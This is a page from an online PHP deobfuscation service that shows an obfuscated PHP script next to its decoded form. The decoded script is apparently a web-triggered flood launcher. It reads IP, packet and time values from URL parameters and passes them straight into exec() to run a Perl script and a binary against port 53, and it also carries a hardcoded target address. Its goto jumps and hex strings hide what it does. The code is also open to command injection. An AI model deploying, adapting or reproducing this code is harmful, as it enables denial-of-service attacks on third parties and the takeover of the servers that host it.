Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto oa8aA; Hyx9I: ini_set("\x64\x69\163\160\154\141\171\137\145\162\162\x6f\162\1..
Decoded Output download
<?php
goto oa8aA; Hyx9I: ini_set("display_errors", 1); goto O1Jq8; oa8aA: error_reporting(E_ALL); goto Hyx9I; O1Jq8: switch ($_GET["method"]) { case 0: $output = exec("/usr/bin/perl /var/www/html/wallace/coon.pl " . $_GET["ip"] . " 53 " . $_GET["packet"] . " " . $_GET["time"]); break; case 1: echo "/var/www/html/wallace/./a.out " . $_GET["ip"] . " 53 0 100 " . $_GET["time"]; $output = exec("/var/www/html/wallace/./a.out " . $_GET["ip"] . " 53 0 100 " . $_GET["time"]); break; case 2: $output = exec("/var/www/html/wallace/./a.out 93.123.39.223 53 0 1000 20"); break; } goto zhDPx; zhDPx: echo $output; ?>
Did this file decode correctly?
Original Code
<?php
goto oa8aA; Hyx9I: ini_set("\x64\x69\163\160\154\141\171\137\145\162\162\x6f\162\163", 1); goto O1Jq8; oa8aA: error_reporting(E_ALL); goto Hyx9I; O1Jq8: switch ($_GET["\155\x65\164\x68\157\144"]) { case 0: $output = exec("\57\165\163\x72\x2f\142\151\156\x2f\160\145\162\x6c\40\x2f\166\x61\162\x2f\167\x77\167\57\x68\x74\x6d\x6c\57\x77\141\x6c\154\141\143\145\x2f\x63\157\x6f\x6e\56\x70\154\x20" . $_GET["\x69\160"] . "\x20\x35\63\x20" . $_GET["\160\141\x63\153\x65\x74"] . "\40" . $_GET["\x74\x69\x6d\x65"]); break; case 1: echo "\x2f\166\x61\162\57\167\167\167\x2f\x68\164\x6d\154\x2f\x77\141\154\x6c\141\143\145\x2f\x2e\57\141\56\x6f\x75\164\x20" . $_GET["\151\160"] . "\x20\x35\x33\40\60\40\61\60\60\40" . $_GET["\164\151\x6d\145"]; $output = exec("\57\166\x61\162\57\x77\167\x77\x2f\x68\164\x6d\x6c\x2f\x77\141\x6c\154\141\x63\x65\57\56\x2f\x61\56\157\165\x74\x20" . $_GET["\151\160"] . "\x20\65\x33\x20\60\40\x31\60\60\x20" . $_GET["\164\151\155\x65"]); break; case 2: $output = exec("\57\x76\x61\162\x2f\x77\x77\x77\57\150\164\155\154\x2f\167\141\154\x6c\x61\143\145\x2f\x2e\x2f\141\56\157\165\x74\x20\x39\63\x2e\x31\x32\x33\x2e\63\71\56\62\x32\x33\40\65\63\40\60\40\x31\x30\60\60\40\x32\60"); break; } goto zhDPx; zhDPx: echo $output;
Function Calls
None |
Stats
MD5 | bdfb9dc954abad054bf3f30a21dde2a6 |
Eval Count | 0 |
Decode Time | 43 ms |